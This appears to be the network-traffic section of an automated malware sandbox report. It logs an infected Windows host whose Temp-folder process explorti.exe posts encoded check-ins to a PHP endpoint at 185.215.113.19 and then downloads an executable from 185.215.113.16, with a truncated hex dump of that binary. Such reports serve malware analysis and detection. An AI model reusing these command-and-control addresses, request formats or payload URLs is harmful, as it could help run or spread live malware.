Sep 1, 2024 01:30:57.027158976 CEST	49798	80	192.168.2.5	185.215.113.19
Sep 1, 2024 01:30:57.032731056 CEST	80	49798	185.215.113.19	192.168.2.5
Sep 1, 2024 01:30:57.032747030 CEST	80	49797	185.215.113.19	192.168.2.5
Sep 1, 2024 01:30:57.032815933 CEST	49797	80	192.168.2.5	185.215.113.19
Sep 1, 2024 01:30:57.032828093 CEST	49798	80	192.168.2.5	185.215.113.19
Sep 1, 2024 01:30:57.032933950 CEST	49798	80	192.168.2.5	185.215.113.19
Sep 1, 2024 01:30:57.037645102 CEST	80	49798	185.215.113.19	192.168.2.5
Sep 1, 2024 01:30:57.795233011 CEST	80	49798	185.215.113.19	192.168.2.5
Sep 1, 2024 01:30:57.795330048 CEST	49798	80	192.168.2.5	185.215.113.19
Sep 1, 2024 01:30:57.876507044 CEST	49798	80	192.168.2.5	185.215.113.19
Sep 1, 2024 01:30:57.881398916 CEST	80	49798	185.215.113.19	192.168.2.5
Sep 1, 2024 01:30:58.121448994 CEST	80	49798	185.215.113.19	192.168.2.5
Sep 1, 2024 01:30:58.121517897 CEST	49798	80	192.168.2.5	185.215.113.19
Sep 1, 2024 01:30:58.229466915 CEST	49798	80	192.168.2.5	185.215.113.19
Sep 1, 2024 01:30:58.229731083 CEST	49799	80	192.168.2.5	185.215.113.19
Sep 1, 2024 01:30:58.234510899 CEST	80	49798	185.215.113.19	192.168.2.5
Sep 1, 2024 01:30:58.234572887 CEST	49798	80	192.168.2.5	185.215.113.19
Sep 1, 2024 01:30:58.235789061 CEST	80	49799	185.215.113.19	192.168.2.5
Sep 1, 2024 01:30:58.235857964 CEST	49799	80	192.168.2.5	185.215.113.19
Sep 1, 2024 01:30:58.236032009 CEST	49799	80	192.168.2.5	185.215.113.19
Sep 1, 2024 01:30:58.241038084 CEST	80	49799	185.215.113.19	192.168.2.5
Sep 1, 2024 01:30:58.999131918 CEST	80	49799	185.215.113.19	192.168.2.5
Sep 1, 2024 01:30:58.999211073 CEST	49799	80	192.168.2.5	185.215.113.19
Sep 1, 2024 01:30:58.999771118 CEST	49799	80	192.168.2.5	185.215.113.19
Sep 1, 2024 01:30:59.004627943 CEST	80	49799	185.215.113.19	192.168.2.5
Sep 1, 2024 01:30:59.344952106 CEST	80	49799	185.215.113.19	192.168.2.5
Sep 1, 2024 01:30:59.345036030 CEST	49799	80	192.168.2.5	185.215.113.19
Sep 1, 2024 01:30:59.449460030 CEST	49799	80	192.168.2.5	185.215.113.19
Sep 1, 2024 01:30:59.449744940 CEST	49800	80	192.168.2.5	185.215.113.19
Sep 1, 2024 01:30:59.454499960 CEST	80	49800	185.215.113.19	192.168.2.5
Sep 1, 2024 01:30:59.454569101 CEST	80	49799	185.215.113.19	192.168.2.5
Sep 1, 2024 01:30:59.454571009 CEST	49800	80	192.168.2.5	185.215.113.19
Sep 1, 2024 01:30:59.454618931 CEST	49799	80	192.168.2.5	185.215.113.19
Sep 1, 2024 01:30:59.454725981 CEST	49800	80	192.168.2.5	185.215.113.19
Sep 1, 2024 01:30:59.459490061 CEST	80	49800	185.215.113.19	192.168.2.5
Sep 1, 2024 01:31:00.205535889 CEST	80	49800	185.215.113.19	192.168.2.5
Sep 1, 2024 01:31:00.205600977 CEST	49800	80	192.168.2.5	185.215.113.19
Sep 1, 2024 01:31:00.206195116 CEST	49800	80	192.168.2.5	185.215.113.19
Sep 1, 2024 01:31:00.210932970 CEST	80	49800	185.215.113.19	192.168.2.5
Sep 1, 2024 01:31:00.454230070 CEST	80	49800	185.215.113.19	192.168.2.5
Sep 1, 2024 01:31:00.454282999 CEST	49800	80	192.168.2.5	185.215.113.19

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Sep 1, 2024 01:30:15.090326071 CEST	53	55933	1.1.1.1	192.168.2.5
Sep 1, 2024 01:30:16.740386963 CEST	49400	53	192.168.2.5	1.1.1.1
Sep 1, 2024 01:30:16.740685940 CEST	49248	53	192.168.2.5	1.1.1.1
Sep 1, 2024 01:30:17.675023079 CEST	53	50016	1.1.1.1	192.168.2.5
Sep 1, 2024 01:30:17.686635017 CEST	53	55553	1.1.1.1	192.168.2.5
Sep 1, 2024 01:30:19.659281969 CEST	59414	53	192.168.2.5	1.1.1.1
Sep 1, 2024 01:30:19.659790039 CEST	60848	53	192.168.2.5	1.1.1.1
Sep 1, 2024 01:30:19.660353899 CEST	49557	53	192.168.2.5	1.1.1.1
Sep 1, 2024 01:30:19.660703897 CEST	51817	53	192.168.2.5	1.1.1.1
Sep 1, 2024 01:30:19.664511919 CEST	63610	53	192.168.2.5	1.1.1.1
Sep 1, 2024 01:30:19.664799929 CEST	63664	53	192.168.2.5	1.1.1.1
Sep 1, 2024 01:30:19.665580988 CEST	63399	53	192.168.2.5	1.1.1.1
Sep 1, 2024 01:30:19.665967941 CEST	49812	53	192.168.2.5	1.1.1.1
Sep 1, 2024 01:30:19.666112900 CEST	53	59414	1.1.1.1	192.168.2.5
Sep 1, 2024 01:30:19.666665077 CEST	53	60848	1.1.1.1	192.168.2.5
Sep 1, 2024 01:30:19.666793108 CEST	53	49557	1.1.1.1	192.168.2.5
Sep 1, 2024 01:30:19.667088985 CEST	53	51817	1.1.1.1	192.168.2.5
Sep 1, 2024 01:30:19.671245098 CEST	53	63664	1.1.1.1	192.168.2.5
Sep 1, 2024 01:30:19.671305895 CEST	53	63610	1.1.1.1	192.168.2.5
Sep 1, 2024 01:30:19.672012091 CEST	53	63399	1.1.1.1	192.168.2.5
Sep 1, 2024 01:30:19.672467947 CEST	53	49812	1.1.1.1	192.168.2.5
Sep 1, 2024 01:30:19.723576069 CEST	62830	53	192.168.2.5	1.1.1.1
Sep 1, 2024 01:30:19.723731995 CEST	58390	53	192.168.2.5	1.1.1.1
Sep 1, 2024 01:30:19.730233908 CEST	53	58390	1.1.1.1	192.168.2.5
Sep 1, 2024 01:30:19.730947018 CEST	53	62830	1.1.1.1	192.168.2.5
Sep 1, 2024 01:30:21.042989969 CEST	60058	443	192.168.2.5	172.64.41.3
Sep 1, 2024 01:30:21.501120090 CEST	443	60058	172.64.41.3	192.168.2.5
Sep 1, 2024 01:30:21.501951933 CEST	443	60058	172.64.41.3	192.168.2.5
Sep 1, 2024 01:30:21.501998901 CEST	443	60058	172.64.41.3	192.168.2.5
Sep 1, 2024 01:30:21.502010107 CEST	443	60058	172.64.41.3	192.168.2.5
Sep 1, 2024 01:30:21.547674894 CEST	60058	443	192.168.2.5	172.64.41.3
Sep 1, 2024 01:30:21.551748037 CEST	60058	443	192.168.2.5	172.64.41.3
Sep 1, 2024 01:30:21.552279949 CEST	60058	443	192.168.2.5	172.64.41.3
Sep 1, 2024 01:30:21.552386999 CEST	60058	443	192.168.2.5	172.64.41.3
Sep 1, 2024 01:30:21.568089008 CEST	60058	443	192.168.2.5	172.64.41.3
Sep 1, 2024 01:30:21.568370104 CEST	60058	443	192.168.2.5	172.64.41.3
Sep 1, 2024 01:30:21.646250010 CEST	443	60058	172.64.41.3	192.168.2.5
Sep 1, 2024 01:30:21.646262884 CEST	443	60058	172.64.41.3	192.168.2.5
Sep 1, 2024 01:30:21.646270990 CEST	443	60058	172.64.41.3	192.168.2.5
Sep 1, 2024 01:30:21.646279097 CEST	443	60058	172.64.41.3	192.168.2.5
Sep 1, 2024 01:30:21.646579027 CEST	60058	443	192.168.2.5	172.64.41.3
Sep 1, 2024 01:30:21.646692991 CEST	60058	443	192.168.2.5	172.64.41.3
Sep 1, 2024 01:30:21.663450956 CEST	443	60058	172.64.41.3	192.168.2.5
Sep 1, 2024 01:30:21.664870024 CEST	443	60058	172.64.41.3	192.168.2.5
Sep 1, 2024 01:30:21.664880037 CEST	443	60058	172.64.41.3	192.168.2.5
Sep 1, 2024 01:30:21.665071964 CEST	60058	443	192.168.2.5	172.64.41.3
Sep 1, 2024 01:30:21.740345955 CEST	443	60058	172.64.41.3	192.168.2.5
Sep 1, 2024 01:30:21.765955925 CEST	60058	443	192.168.2.5	172.64.41.3
Sep 1, 2024 01:30:21.766086102 CEST	60058	443	192.168.2.5	172.64.41.3
Sep 1, 2024 01:30:21.766287088 CEST	60058	443	192.168.2.5	172.64.41.3
Sep 1, 2024 01:30:21.860524893 CEST	443	60058	172.64.41.3	192.168.2.5
Sep 1, 2024 01:30:21.861165047 CEST	443	60058	172.64.41.3	192.168.2.5
Sep 1, 2024 01:30:21.861278057 CEST	443	60058	172.64.41.3	192.168.2.5
Sep 1, 2024 01:30:21.861692905 CEST	60058	443	192.168.2.5	172.64.41.3
Sep 1, 2024 01:30:22.087969065 CEST	60058	443	192.168.2.5	172.64.41.3
Sep 1, 2024 01:30:22.088057041 CEST	60058	443	192.168.2.5	172.64.41.3
Sep 1, 2024 01:30:22.182642937 CEST	443	60058	172.64.41.3	192.168.2.5
Sep 1, 2024 01:30:22.183613062 CEST	443	60058	172.64.41.3	192.168.2.5
Sep 1, 2024 01:30:22.183800936 CEST	443	60058	172.64.41.3	192.168.2.5
Sep 1, 2024 01:30:22.184890985 CEST	60058	443	192.168.2.5	172.64.41.3
Sep 1, 2024 01:30:22.436609030 CEST	64919	443	192.168.2.5	142.250.80.46
Sep 1, 2024 01:30:22.747277021 CEST	64919	443	192.168.2.5	142.250.80.46
Sep 1, 2024 01:30:22.895792007 CEST	443	64919	142.250.80.46	192.168.2.5
Sep 1, 2024 01:30:22.895979881 CEST	443	64919	142.250.80.46	192.168.2.5
Sep 1, 2024 01:30:22.900980949 CEST	64919	443	192.168.2.5	142.250.80.46
Sep 1, 2024 01:30:22.901931047 CEST	443	64919	142.250.80.46	192.168.2.5
Sep 1, 2024 01:30:22.901941061 CEST	443	64919	142.250.80.46	192.168.2.5
Sep 1, 2024 01:30:22.901951075 CEST	443	64919	142.250.80.46	192.168.2.5
Sep 1, 2024 01:30:22.901962996 CEST	443	64919	142.250.80.46	192.168.2.5
Sep 1, 2024 01:30:22.902179003 CEST	64919	443	192.168.2.5	142.250.80.46
Sep 1, 2024 01:30:22.902606964 CEST	64919	443	192.168.2.5	142.250.80.46
Sep 1, 2024 01:30:22.903413057 CEST	64919	443	192.168.2.5	142.250.80.46
Sep 1, 2024 01:30:22.903577089 CEST	64919	443	192.168.2.5	142.250.80.46
Sep 1, 2024 01:30:22.903911114 CEST	64919	443	192.168.2.5	142.250.80.46
Sep 1, 2024 01:30:22.903911114 CEST	64919	443	192.168.2.5	142.250.80.46
Sep 1, 2024 01:30:22.904046059 CEST	64919	443	192.168.2.5	142.250.80.46
Sep 1, 2024 01:30:22.998502016 CEST	443	64919	142.250.80.46	192.168.2.5
Sep 1, 2024 01:30:22.998521090 CEST	443	64919	142.250.80.46	192.168.2.5
Sep 1, 2024 01:30:22.998851061 CEST	64919	443	192.168.2.5	142.250.80.46
Sep 1, 2024 01:30:22.999093056 CEST	443	64919	142.250.80.46	192.168.2.5
Sep 1, 2024 01:30:22.999500036 CEST	443	64919	142.250.80.46	192.168.2.5
Sep 1, 2024 01:30:22.999672890 CEST	64919	443	192.168.2.5	142.250.80.46
Sep 1, 2024 01:30:23.015777111 CEST	443	64919	142.250.80.46	192.168.2.5
Sep 1, 2024 01:30:23.016071081 CEST	64919	443	192.168.2.5	142.250.80.46
Sep 1, 2024 01:30:23.016315937 CEST	443	64919	142.250.80.46	192.168.2.5
Sep 1, 2024 01:30:23.016936064 CEST	64919	443	192.168.2.5	142.250.80.46
Sep 1, 2024 01:30:23.111958981 CEST	443	64919	142.250.80.46	192.168.2.5
Sep 1, 2024 01:30:30.810619116 CEST	64919	443	192.168.2.5	142.250.80.46
Sep 1, 2024 01:30:30.810688972 CEST	64919	443	192.168.2.5	142.250.80.46
Sep 1, 2024 01:30:30.906227112 CEST	443	64919	142.250.80.46	192.168.2.5
Sep 1, 2024 01:30:30.938138962 CEST	443	64919	142.250.80.46	192.168.2.5
Sep 1, 2024 01:30:30.938456059 CEST	443	64919	142.250.80.46	192.168.2.5
Sep 1, 2024 01:30:30.938497066 CEST	64919	443	192.168.2.5	142.250.80.46
Sep 1, 2024 01:30:30.994395018 CEST	64919	443	192.168.2.5	142.250.80.46
Sep 1, 2024 01:30:31.060034990 CEST	443	64919	142.250.80.46	192.168.2.5
Sep 1, 2024 01:30:31.084852934 CEST	443	64919	142.250.80.46	192.168.2.5
Sep 1, 2024 01:30:31.086798906 CEST	64919	443	192.168.2.5	142.250.80.46
Sep 1, 2024 01:30:51.857418060 CEST	64919	443	192.168.2.5	142.250.80.46
Sep 1, 2024 01:30:51.857418060 CEST	64919	443	192.168.2.5	142.250.80.46
Sep 1, 2024 01:30:51.952775955 CEST	443	64919	142.250.80.46	192.168.2.5
Sep 1, 2024 01:30:51.966478109 CEST	443	64919	142.250.80.46	192.168.2.5
Sep 1, 2024 01:30:51.966556072 CEST	443	64919	142.250.80.46	192.168.2.5
Sep 1, 2024 01:30:51.966762066 CEST	64919	443	192.168.2.5	142.250.80.46
Sep 1, 2024 01:30:51.994837046 CEST	64919	443	192.168.2.5	142.250.80.46
Sep 1, 2024 01:30:52.087722063 CEST	443	64919	142.250.80.46	192.168.2.5
Sep 1, 2024 01:30:53.201463938 CEST	64919	443	192.168.2.5	142.250.80.46
Sep 1, 2024 01:30:53.201689959 CEST	64919	443	192.168.2.5	142.250.80.46
Sep 1, 2024 01:30:53.296761990 CEST	443	64919	142.250.80.46	192.168.2.5
Sep 1, 2024 01:30:53.317567110 CEST	443	64919	142.250.80.46	192.168.2.5
Sep 1, 2024 01:30:53.317682028 CEST	443	64919	142.250.80.46	192.168.2.5
Sep 1, 2024 01:30:53.325613022 CEST	64919	443	192.168.2.5	142.250.80.46
Sep 1, 2024 01:30:53.340440989 CEST	64919	443	192.168.2.5	142.250.80.46
Sep 1, 2024 01:30:53.340478897 CEST	64919	443	192.168.2.5	142.250.80.46
Sep 1, 2024 01:30:53.436177015 CEST	443	64919	142.250.80.46	192.168.2.5
Sep 1, 2024 01:30:53.450876951 CEST	443	64919	142.250.80.46	192.168.2.5
Sep 1, 2024 01:30:53.451147079 CEST	64919	443	192.168.2.5	142.250.80.46
Sep 1, 2024 01:30:53.451184034 CEST	443	64919	142.250.80.46	192.168.2.5
Sep 1, 2024 01:30:53.478564024 CEST	64919	443	192.168.2.5	142.250.80.46
Sep 1, 2024 01:30:53.572268963 CEST	443	64919	142.250.80.46	192.168.2.5

ICMP Packets

Timestamp	Source IP	Dest IP	Checksum	Code	Type
Sep 1, 2024 01:30:19.087274075 CEST	192.168.2.5	1.1.1.1	c2ba	(Port unreachable)	Destination Unreachable

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Sep 1, 2024 01:30:16.740386963 CEST	192.168.2.5	1.1.1.1	0x7f1a	Standard query (0)	bzib.nelreports.net	A (IP address)	IN (0x0001)	false
Sep 1, 2024 01:30:16.740685940 CEST	192.168.2.5	1.1.1.1	0x3a2b	Standard query (0)	bzib.nelreports.net	65	IN (0x0001)	false
Sep 1, 2024 01:30:19.659281969 CEST	192.168.2.5	1.1.1.1	0x86d	Standard query (0)	chrome.cloudflare-dns.com	A (IP address)	IN (0x0001)	false
Sep 1, 2024 01:30:19.659790039 CEST	192.168.2.5	1.1.1.1	0xc999	Standard query (0)	chrome.cloudflare-dns.com	65	IN (0x0001)	false
Sep 1, 2024 01:30:19.660353899 CEST	192.168.2.5	1.1.1.1	0x698	Standard query (0)	chrome.cloudflare-dns.com	A (IP address)	IN (0x0001)	false
Sep 1, 2024 01:30:19.660703897 CEST	192.168.2.5	1.1.1.1	0xef51	Standard query (0)	chrome.cloudflare-dns.com	65	IN (0x0001)	false
Sep 1, 2024 01:30:19.664511919 CEST	192.168.2.5	1.1.1.1	0x2bcb	Standard query (0)	chrome.cloudflare-dns.com	A (IP address)	IN (0x0001)	false
Sep 1, 2024 01:30:19.664799929 CEST	192.168.2.5	1.1.1.1	0x2e6a	Standard query (0)	chrome.cloudflare-dns.com	65	IN (0x0001)	false
Sep 1, 2024 01:30:19.665580988 CEST	192.168.2.5	1.1.1.1	0xc212	Standard query (0)	chrome.cloudflare-dns.com	A (IP address)	IN (0x0001)	false
Sep 1, 2024 01:30:19.665967941 CEST	192.168.2.5	1.1.1.1	0xd1e0	Standard query (0)	chrome.cloudflare-dns.com	65	IN (0x0001)	false
Sep 1, 2024 01:30:19.723576069 CEST	192.168.2.5	1.1.1.1	0xb6e9	Standard query (0)	chrome.cloudflare-dns.com	A (IP address)	IN (0x0001)	false
Sep 1, 2024 01:30:19.723731995 CEST	192.168.2.5	1.1.1.1	0x9070	Standard query (0)	chrome.cloudflare-dns.com	65	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Sep 1, 2024 01:30:16.747772932 CEST	1.1.1.1	192.168.2.5	0x7f1a	No error (0)	bzib.nelreports.net	bzib.nelreports.net.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false
Sep 1, 2024 01:30:16.749017000 CEST	1.1.1.1	192.168.2.5	0x3a2b	No error (0)	bzib.nelreports.net	bzib.nelreports.net.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false
Sep 1, 2024 01:30:19.064089060 CEST	1.1.1.1	192.168.2.5	0xef15	No error (0)	shed.dual-low.s-part-0032.t-0009.t-msedge.net	s-part-0032.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Sep 1, 2024 01:30:19.064089060 CEST	1.1.1.1	192.168.2.5	0xef15	No error (0)	s-part-0032.t-0009.t-msedge.net		13.107.246.60	A (IP address)	IN (0x0001)	false
Sep 1, 2024 01:30:19.666112900 CEST	1.1.1.1	192.168.2.5	0x86d	No error (0)	chrome.cloudflare-dns.com		162.159.61.3	A (IP address)	IN (0x0001)	false
Sep 1, 2024 01:30:19.666112900 CEST	1.1.1.1	192.168.2.5	0x86d	No error (0)	chrome.cloudflare-dns.com		172.64.41.3	A (IP address)	IN (0x0001)	false
Sep 1, 2024 01:30:19.666665077 CEST	1.1.1.1	192.168.2.5	0xc999	No error (0)	chrome.cloudflare-dns.com			65	IN (0x0001)	false
Sep 1, 2024 01:30:19.666793108 CEST	1.1.1.1	192.168.2.5	0x698	No error (0)	chrome.cloudflare-dns.com		172.64.41.3	A (IP address)	IN (0x0001)	false
Sep 1, 2024 01:30:19.666793108 CEST	1.1.1.1	192.168.2.5	0x698	No error (0)	chrome.cloudflare-dns.com		162.159.61.3	A (IP address)	IN (0x0001)	false
Sep 1, 2024 01:30:19.667088985 CEST	1.1.1.1	192.168.2.5	0xef51	No error (0)	chrome.cloudflare-dns.com			65	IN (0x0001)	false
Sep 1, 2024 01:30:19.671245098 CEST	1.1.1.1	192.168.2.5	0x2e6a	No error (0)	chrome.cloudflare-dns.com			65	IN (0x0001)	false
Sep 1, 2024 01:30:19.671305895 CEST	1.1.1.1	192.168.2.5	0x2bcb	No error (0)	chrome.cloudflare-dns.com		172.64.41.3	A (IP address)	IN (0x0001)	false
Sep 1, 2024 01:30:19.671305895 CEST	1.1.1.1	192.168.2.5	0x2bcb	No error (0)	chrome.cloudflare-dns.com		162.159.61.3	A (IP address)	IN (0x0001)	false
Sep 1, 2024 01:30:19.672012091 CEST	1.1.1.1	192.168.2.5	0xc212	No error (0)	chrome.cloudflare-dns.com		162.159.61.3	A (IP address)	IN (0x0001)	false
Sep 1, 2024 01:30:19.672012091 CEST	1.1.1.1	192.168.2.5	0xc212	No error (0)	chrome.cloudflare-dns.com		172.64.41.3	A (IP address)	IN (0x0001)	false
Sep 1, 2024 01:30:19.672467947 CEST	1.1.1.1	192.168.2.5	0xd1e0	No error (0)	chrome.cloudflare-dns.com			65	IN (0x0001)	false
Sep 1, 2024 01:30:19.730233908 CEST	1.1.1.1	192.168.2.5	0x9070	No error (0)	chrome.cloudflare-dns.com			65	IN (0x0001)	false
Sep 1, 2024 01:30:19.730947018 CEST	1.1.1.1	192.168.2.5	0xb6e9	No error (0)	chrome.cloudflare-dns.com		162.159.61.3	A (IP address)	IN (0x0001)	false
Sep 1, 2024 01:30:19.730947018 CEST	1.1.1.1	192.168.2.5	0xb6e9	No error (0)	chrome.cloudflare-dns.com		172.64.41.3	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

slscr.update.microsoft.com

edgeassetservice.azureedge.net

chrome.cloudflare-dns.com

fs.microsoft.com

https:

www.google.com

185.215.113.19

185.215.113.16

185.215.113.100

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49712	185.215.113.19	80	5240	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Sep 1, 2024 01:30:02.421595097 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 1, 2024 01:30:03.164876938 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 31 Aug 2024 23:30:03 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Sep 1, 2024 01:30:03.166959047 CEST	308	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 42 32 41 37 39 42 34 35 31 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7BBB2A79B45182D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Sep 1, 2024 01:30:03.420464039 CEST	466	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 31 Aug 2024 23:30:03 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 31 31 33 0d 0a 20 3c 63 3e 31 30 30 30 30 35 31 30 30 30 2b 2b 2b 62 35 39 33 37 63 31 61 39 39 64 35 66 39 64 64 30 32 34 36 62 35 63 62 34 66 36 35 32 32 34 32 37 66 61 65 31 64 61 61 38 65 39 65 62 34 66 66 66 37 62 35 63 36 33 30 38 30 34 30 34 32 62 61 35 63 65 39 30 32 34 31 35 34 35 30 23 31 30 30 30 30 35 32 30 30 30 2b 2b 2b 62 35 39 33 37 63 31 61 39 39 64 35 66 39 64 64 30 32 34 36 62 35 63 62 34 66 36 35 32 32 34 32 37 66 61 65 31 64 61 61 38 65 39 65 62 34 66 66 66 37 62 35 63 36 33 30 38 30 34 30 34 32 62 61 35 63 65 39 30 32 34 31 35 34 35 30 23 31 30 30 30 30 35 33 30 30 31 2b 2b 2b 62 35 39 33 37 63 31 61 39 39 64 35 66 39 64 64 30 32 34 36 62 35 63 62 34 66 36 35 32 32 34 32 37 66 61 65 31 64 61 61 38 65 39 65 62 30 65 65 66 65 62 38 38 34 36 64 39 33 34 66 34 38 62 31 35 65 61 61 34 39 35 63 34 39 23 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 113 <c>1000051000+++b5937c1a99d5f9dd0246b5cb4f6522427fae1daa8e9eb4fff7b5c630804042ba5ce902415450#1000052000+++b5937c1a99d5f9dd0246b5cb4f6522427fae1daa8e9eb4fff7b5c630804042ba5ce902415450#1000053001+++b5937c1a99d5f9dd0246b5cb4f6522427fae1daa8e9eb0eefeb8846d934f48b15eaa495c49#<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49713	185.215.113.16	80	5240	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Sep 1, 2024 01:30:03.429749966 CEST	56	OUT	GET /steam/random.exe HTTP/1.1 Host: 185.215.113.16
Sep 1, 2024 01:30:04.193803072 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 31 Aug 2024 23:30:04 GMT Content-Type: application/octet-stream Content-Length: 1790976 Last-Modified: Sat, 31 Aug 2024 22:58:27 GMT Connection: keep-alive ETag: "66d3a013-1b5400" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a2 62 9b e5 e6 03 f5 b6 e6 03 f5 b6 e6 03 f5 b6 89 75 5e b6 fe 03 f5 b6 89 75 6b b6 eb 03 f5 b6 89 75 5f b6 dc 03 f5 b6 ef 7b 76 b6 e5 03 f5 b6 66 7a f4 b7 e4 03 f5 b6 ef 7b 66 b6 e1 03 f5 b6 e6 03 f4 b6 8d 03 f5 b6 89 75 5a b6 f4 03 f5 b6 89 75 68 b6 e7 03 f5 b6 52 69 63 68 e6 03 f5 b6 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 4d 8b c8 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 c8 01 00 00 42 22 00 00 00 00 00 00 20 68 00 00 10 00 00 00 e0 01 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 50 68 00 00 04 00 00 90 12 1c 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$bu^uku_{vfz{fuZuhRichPELMfB" h@Ph@P#d# #<@.rsrc #L@.idata #L@ 0*$N@fgtetwml0NP@kzhupcowh.@.taggant0 h"2@
Sep 1, 2024 01:30:04.193825006 CEST	164	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Sep 1, 2024 01:30:04.193907976 CEST	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Sep 1, 2024 01:30:04.193917990 CEST	224	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Sep 1, 2024 01:30:04.193928003 CEST	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Sep 1, 2024 01:30:04.193939924 CEST	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Sep 1, 2024 01:30:04.193948984 CEST	268	IN	Data Raw: 17 bd a3 17 f2 a7 5b 9a e5 00 1e ba bd 3d 50 dd 79 8a e7 19 f6 c8 12 16 22 c5 fc 6d 69 c0 36 a6 22 86 8d 86 9d 80 62 0d 94 43 85 ab 35 0a 7a 91 d3 d4 0a 94 9c 87 ff d8 41 6a d4 9b b3 e9 1c 8a 9a eb fa 22 0e 11 82 01 e7 c1 5c 50 ba d8 25 bf 72 2b Data Ascii: [=Py"mi6"bC5zAj"\P%r+aew0%zV']V4b!YNHax^$(@;M!9\"-%K9:hiENo{X+u$k1H<(?a]K=#1c{
